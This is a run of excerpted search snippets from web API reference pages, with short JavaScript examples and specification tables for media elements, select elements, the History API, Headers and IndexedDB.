... living standard no change from html5 html5the definition of 'htmlmediaelement.controls' in that specification.
... recommendation initial definition.
HTMLMediaElement.crossOrigin - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.crossorigin' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.crossorigin' in that specification.
... recommendation initial definition ...
HTMLMediaElement.currentSrc - Web APIs
example var obj = document.createelement('video'); console.log(obj.currentsrc); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.currentsrc' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.currentsrc' in that specification.
... recommendation initial definition.
HTMLMediaElement.currentTime - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.currenttime' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.currenttime' in that specification.
... recommendation initial definition.
HTMLMediaElement.defaultMuted - Web APIs
example var videoele = document.createelement('video'); videoele.defaultmuted = true; console.log(videoele.outerhtml); // <video muted=""></video> specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultmuted' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.defaultmuted' in that specification.
... recommendation initial definition.
HTMLMediaElement.defaultPlaybackRate - Web APIs
example var obj = document.createelement('video'); console.log(obj.defaultplaybackrate); // 1 specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
... recommendation initial definition.
HTMLMediaElement.readyState - Web APIs
have_metadata 1 enough of the media resource has been retrieved that the metadata attributes are initialized.
... <audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('loadeddata', function() { if(obj.readystate >= 2) { obj.play(); } }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.readystate' in that specification.
... living standard html5the definition of 'htmlmediaelement.readystate' in that specification.
HTMLMediaElement.src - Web APIs
example var obj = document.createelement('video'); console.log(obj.src); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.src' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.src' in that specification.
... recommendation initial definition.
HTMLMedia​Element​.textTracks - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.texttracks' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.texttracks' in that specification.
... recommendation initial definition.
HTMLMeterElement.labels - Web APIs
<label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLOutputElement.labels - Web APIs
abel id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLProgressElement.labels - Web APIs
d="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLSelectElement.autofocus - Web APIs
if there are several, the first element with the attribute set inserted, usually the first such element on the page, get the initial focus.
...ment.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification.
... living standard html 5.2the definition of 'autofocus' in that specification.
HTMLSelectElement.checkValidity() - Web APIs
syntax var result = selectelt.checkvalidity(); specifications specification status comment html living standardthe definition of 'htmlselectelement.checkvalidity()' in that specification.
... html5the definition of 'htmlselectelement.checkvalidity()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLSelectElement.disabled - Web APIs
x = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", function(event) { if (event.target.checked) { drinkselect.disabled = false; } else { drinkselect.disabled = true; } }, false); result specifications specification status comment html living standardthe definition of 'disabled' in that specification.
... living standard html5the definition of 'htmlselectelement' in that specification.
... recommendation initial definition, snapshot of html living standard.
HTMLSelectElement.form - Web APIs
ents in a particular form a css class of "selectclass": <script type="text/javascript"> var form_element = document.getelementbyid('subscribe_form'); var vist = form_element.style; if (vist.display=='' || vist.display=='none') { vist.display = 'block'; } else { vist.display = 'none'; } </script> specifications specification status comment html living standardthe definition of 'form' in that specification.
... living standard html5the definition of 'htmlselectelement' in that specification.
... recommendation initial definition, snapshot of html living standard.
HTMLSelectElement.item() - Web APIs
examples html <form> <select id="myformcontrol" type="textarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html living standardthe definition of 'htmlselectelement.item()' in that specification.
... html5the definition of 'htmlselectelement.item()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLSelectElement.labels - Web APIs
abel id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLSelectElement.namedItem() - Web APIs
example html <form> <select id="myformcontrol"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript elem1 = document.forms[0]['myformcontrol']['o1']; // returns the htmloptionelement representing #o1 specifications specification status comment html living standardthe definition of 'htmlselectelement.nameditem()' in that specification.
... html5the definition of 'htmlselectelement.nameditem()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLSelectElement.options - Web APIs
<option value="2">option 2</option> </select> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html living standardthe definition of 'options' in that specification.
... living standard no change html5the definition of 'options' in that specification.
... recommendation initial definition ...
HTMLSelectElement.selectedIndex - Web APIs
var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... html5the definition of 'htmlselectelement' in that specification.
... recommendation initial definition, snapshot of html living standard.
HTMLSelectElement.selectedOptions - Web APIs
result the resulting content looks like this in action: specifications specification status comment html living standardthe definition of 'htmlselectelement.selectedoptions' in that specification.
... living standard no change from html5 html5the definition of 'htmlselectelement.selectedoptions' in that specification.
... recommendation initial definition.
HTMLSelectElement.setCustomValidity() - Web APIs
specifications specification status comment html living standardthe definition of 'htmlselectelement.setcustomvalidity()' in that specification.
... html5the definition of 'htmlselectelement.setcustomvalidity()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLTableRowElement.insertCell() - Web APIs
leref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltablerowelement.insertcell()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'htmltablerowelement.insertcell()' in that specification.
... obsolete initial definition ...
HTMLTemplateElement.content - Web APIs
syntax var documentfragment = templateelement.content example var templateelement = document.queryselector("#foo"); var documentfragment = templateelement.content.clonenode(true); specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
... living standard html5the definition of 'htmltemplateelement interface' in that specification.
... recommendation initial definition ...
HTMLTemplateElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
... living standard html5the definition of 'htmltemplateelement interface' in that specification.
... recommendation initial definition ...
HTMLTextAreaElement.labels - Web APIs
d="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLTrackElement.src - Web APIs
example // coming soon specifications specification status comment html living standardthe definition of 'htmltrackelement.src' in that specification.
... living standard no change from html5 html5the definition of 'htmltrackelement.src' in that specification.
... recommendation initial definition.
HTMLUnknownElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlunknownelement' in that specification.
... html5the definition of 'htmlunknownelement' in that specification.
... recommendation initial definition.
HTMLVideoElement.videoHeight - Web APIs
specifications specification status comment html living standardthe definition of 'htmlvideoelement.videoheight' in that specification.
... living standard html5the definition of 'htmlvideoelement.videoheight' in that specification.
... recommendation initial definition.
HTMLVideoElement.videoWidth - Web APIs
specifications specification status comment html living standardthe definition of 'htmlvideoelement.videowidth' in that specification.
... living standard html5the definition of 'htmlvideoelement.videowidth' in that specification.
... recommendation initial definition.
Headers() - Web APIs
WebAPIHeadersHeaders
syntax var myheaders = new headers(init); parameters init optional an object containing any http headers that you want to pre-populate your headers object with.
...in the following snippet we create a new headers object, adding some headers by passing the constructor an init object as an argument: var httpheaders = { 'content-type' : 'image/jpeg', 'accept-charset' : 'utf-8', 'x-my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('content-type'); // would return 'image/jpe...
...g' — it inherits it from the first headers object specifications specification status comment fetchthe definition of 'headers()' in that specification.
History.back() - Web APIs
WebAPIHistoryback
html <button id="go-back">go back!</button> javascript document.getelementbyid('go-back').addeventlistener('click', () => { history.back(); }); specifications specification status comment html living standardthe definition of 'history.back()' in that specification.
... html5the definition of 'history.back()' in that specification.
... recommendation initial definition.
History.forward() - Web APIs
WebAPIHistoryforward
html <button id='go-forward'>go forward!</button> javascript document.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html living standardthe definition of 'history' in that specification.
... html5the definition of 'history' in that specification.
... recommendation initial definition.
History.go() - Web APIs
WebAPIHistorygo
lling back()): history.go(-1) to move forward a page, just like calling forward(): history.go(1) to move forward two pages: history.go(2); to move backwards by two pages: history.go(-2); and, finally either of the following statements will reload the current page: history.go(); history.go(0); specifications specification status comment html living standardthe definition of 'history.go()' in that specification.
... html5the definition of 'history.go()' in that specification.
... recommendation initial definition.
History.length - Web APIs
WebAPIHistorylength
syntax const length = history.length specifications specification status comment html living standardthe definition of 'history.length' in that specification.
... html5the definition of 'history.length' in that specification.
... recommendation initial definition.
History.pushState() - Web APIs
WebAPIHistorypushState
javascript const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' history.pushstate(state, title, url) specifications specification status comment html living standardthe definition of 'history.pushstate()' in that specification.
... html5the definition of 'history.pushstate()' in that specification.
... recommendation initial definition.
History.replaceState() - Web APIs
specifications specification status comment html living standardthe definition of 'history.replacestate()' in that specification.
... html5the definition of 'history.replacestate()' in that specification.
... recommendation initial definition.
History.scrollRestoration - Web APIs
crollrestoration = history.scrollrestoration if (scrollrestoration === 'manual') { console.log('the location on the page is not restored, user will need to scroll manually.'); } prevent automatic page location restoration if (history.scrollrestoration) { history.scrollrestoration = 'manual'; } specifications specification status comment html living standardthe definition of 'scroll restoration mode' in that specification.
... html5the definition of 'history.scrollrestoration' in that specification.
... recommendation initial definition.
History.state - Web APIs
WebAPIHistorystate
console.log(`history.state after pushstate: ${history.state}`); specificationse specification status comment html living standardthe definition of 'history.state' in that specification.
... living standard html5the definition of 'history.state' in that specification.
... recommendation initial definition.
History - Web APIs
WebAPIHistory
specifications specification status comment html living standardthe definition of 'history' in that specification.
... html5the definition of 'history' in that specification.
... recommendation initial definition.
Ajax navigation example - Web APIs
if (history.pushstate) { bupdateurl = true; getpage(surl); } else { /* ajax navigation is not supported */ location.assign(surl); } } function processlink () { if (this.classname === sajaxclass) { requestpage(this.href); return false; } return true; } function init () { opageinfo.title = document.title; history.replacestate(opageinfo, opageinfo.title, opageinfo.url); for (var olink, nidx = 0, nlen = document.links.length; nidx < nlen; document.links[nidx++].onclick = processlink); } const /* customizable constants */ stargetid = "ajax-content", sviewkey = "view_as", sajaxclass = "ajax-nav", /* not c...
...addeventlistener("load", init, false) : window.attachevent ?
... attachevent("onload", init) : (onload = init); // public methods this.open = requestpage; this.stop = abortreq; this.rebuildlinks = init; })(); for more information, please see: working with the history api.
History API - Web APIs
3}, "title 3", "?page=3") history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back() // alerts "location: http://example.com/example.html, state: null" history.go(2) // alerts "location: http://example.com/example.html?page=3, state: {"page":3}" specifications specification status comment html living standardthe definition of 'history' in that specification.
... html5the definition of 'history' in that specification.
... recommendation initial definition.
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
// create event handlers for both success and failure of dbopenrequest.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += "<li>database initialised.</li>"; // store the result of opening the database in the db variable.
... db.close(); }; specification specification status comment indexed database api 2.0the definition of 'close()' in that specification.
... recommendation indexed database api draftthe definition of 'close()' in that specification.
IDBDatabase.name - Web APIs
WebAPIIDBDatabasename
// let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being // opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = dbopenrequest.result; // this line will log the name of the database, which should be "todolist" console.log(db.name); }; specifications specification status comment indexed database api 2.0the definition of 'name' in that specification.
... recommendation indexed database api draftthe definition of 'name' in that specification.
IDBDatabase.objectStoreNames - Web APIs
example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be // an object that looks like { ['my-store-name'] } console.log(db.objectstorenames); }; specifications specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation indexed database api draftthe definition of 'objectstorenames' in that specification.
IDBDatabase.transaction() - Web APIs
for a complete example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... specification specification status comment indexed database api 2.0the definition of 'transaction()' in that specification.
... recommendation indexed database api draftthe definition of 'transaction()' in that specification.
IDBDatabase.version - Web APIs
example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database // being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be "4" console.log(db.version); }; specifications specification status comment indexed database api 2.0the definition of 'version' in that specification.
... recommendation indexed database api draftthe definition of 'version' in that specification.
IDBDatabase - Web APIs
(view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the idbdatabase object, // when the database is opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable.
... var objectstore = db.transaction('todolist', 'readwrite').objectstore('todolist'); specifications specification status comment indexed database api 2.0the definition of 'idbdatabase' in that specification.
... recommendation initial version indexed database api draftthe definition of 'idbdatabase' in that specification.
IDBFactory.deleteDatabase() - Web APIs
t = window.indexeddb.deletedatabase("todolist"); dbdeleterequest.onerror = function(event) { console.log("error deleting database."); }; dbdeleterequest.onsuccess = function(event) { console.log("database deleted successfully"); console.log(event.result); // should be undefined }; specifications specification status comment indexed database api draftthe definition of 'deletedatabase()' in that specification.
... recommendation indexed database api 2.0the definition of 'deletedatabase()' in that specification.
... recommendation initial definition.
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
e don't // need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened // successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'open()' in that specification.
... recommendation indexed database api draftthe definition of 'open()' in that specification.
IDBFactory - Web APIs
prefixed these objects, so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { console.error("error loading database."); }; dbopenrequest.onsuccess = function(event) { console.info("database initialised."); // store the result of opening the database in the db variable.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'idbfactory' in that specification.
... recommendation indexed database api draftthe definition of 'idbfactory' in that specification.
IDBIndex.getAllKeys() - Web APIs
example var myindex = objectstore.index('index'); var getallkeysrequest = myindex.getallkeys(); getallkeysrequest.onsuccess = function() { console.log(getallkeysrequest.result); } specification specification status comment indexed database api draftthe definition of 'getall()' in that specification.
... recommendation initial definition.
... indexed database api draftthe definition of 'getall()' in that specification.
IDBKeyRange - Web APIs
if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification status comment indexed database api 2.0the definition of 'idbkeyrange' in that specification.
... recommendation initial definition.
... indexed database api draftthe definition of 'idbkeyrange' in that specification.
IDBObjectStore.add() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...store("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'add()' in that specification.
... recommendation indexed database api draftthe definition of 'add()' in that specification.
IDBObjectStore.autoIncrement - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...store.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification.
... recommendation indexed database api draftthe definition of 'autoincrement' in that specification.
IDBObjectStore.clear() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...tion.objectstore("todolist"); // make a request to clear all the data out of the object store var objectstorerequest = objectstore.clear(); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'clear()' in that specification.
... recommendation indexed database api draftthe definition of 'clear()' in that specification.
IDBObjectStore.createIndex() - Web APIs
dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...tes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); }; specifications specification status comment indexed database api 2.0the definition of 'createindex()' in that specification.
... recommendation indexed database api draftthe definition of 'createindex()' in that specification.
IDBObjectStore.delete() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...dolist"); // make a request to delete the specified record out of the object store var objectstorerequest = objectstore.delete("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'delete()' in that specification.
... recommendation indexed database api draftthe definition of 'delete()' in that specification.
IDBObjectStore.deleteIndex() - Web APIs
o notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
..., { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); objectstore.deleteindex("seconds"); objectstore.deleteindex("contact"); }; specifications specification status comment indexed database api 2.0the definition of 'deleteindex()' in that specification.
... recommendation indexed database api draftthe definition of 'deleteindex()' in that specification.
IDBObjectStore.get() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...t a record by key from the object store var objectstorerequest = objectstore.get("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; var myrecord = objectstorerequest.result; }; }; specifications specification status comment indexed database api 2.0the definition of 'get()' in that specification.
... recommendation indexed database api draftthe definition of 'get()' in that specification.
IDBObjectStore.indexNames - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification.
... recommendation indexed database api draftthe definition of 'indexnames' in that specification.
IDBObjectStore.keyPath - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification.
... recommendation indexed database api draftthe definition of 'keypath' in that specification.
IDBObjectStore.name - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...og(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'name' in that specification.
... recommendation indexed database api draftthe definition of 'name' in that specification.
IDBObjectStore.transaction - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ctstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'transaction' in that specification.
... recommendation indexed database api draftthe definition of 'transaction' in that specification.
IDBObjectStore - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in db.
...e on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status comment indexed database api 2.0the definition of 'idbobjectstore' in that specification.
... recommendation indexed database api draftthe definition of 'idbobjectstore' in that specification.
IDBOpenDBRequest.onblocked - Web APIs
}; example var db; // let us open our database var request = indexeddb.open("todolist", 4); // these two event handlers act on the database being opened // successfully, or not request.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...}; request.onblocked = function() { console.log("your database version can't be upgraded because the app is open somewhere else."); } specifications specification status comment indexed database api 2.0the definition of 'onblocked' in that specification.
... recommendation indexed database api draftthe definition of 'onblocked' in that specification.
IDBOpenDBRequest - Web APIs
dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable.
...inutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); }; specifications specification status comment indexed database api 2.0the definition of 'idbopendbrequest' in that specification.
... recommendation initial definition indexed database api draftthe definition of 'idbopendbrequest' in that specification.
IDBTransaction.abort() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'abort()' in that specification.
... recommendation indexed database api draftthe definition of 'abort()' in that specification.
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification.
... recommendation indexed database api draftthe definition of 'db' in that specification.
IDBTransaction.error - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...jectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'error' in that specification.
... recommendation indexed database api draftthe definition of 'error' in that specification.
IDBTransaction.mode - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...uest (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the mode this transaction has been opened in (should be "readwrite" in this case) transaction.mode; }; specification specification status comment indexed database api 2.0the definition of 'mode' in that specification.
... recommendation indexed database api draftthe definition of 'mode' in that specification.
IDBTransaction.objectStore() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; specification specification status comment indexed database api 2.0the definition of 'objectstore()' in that specification.
... recommendation indexed database api draftthe definition of 'objectstore()' in that specification.
IDBTransaction.onabort - Web APIs
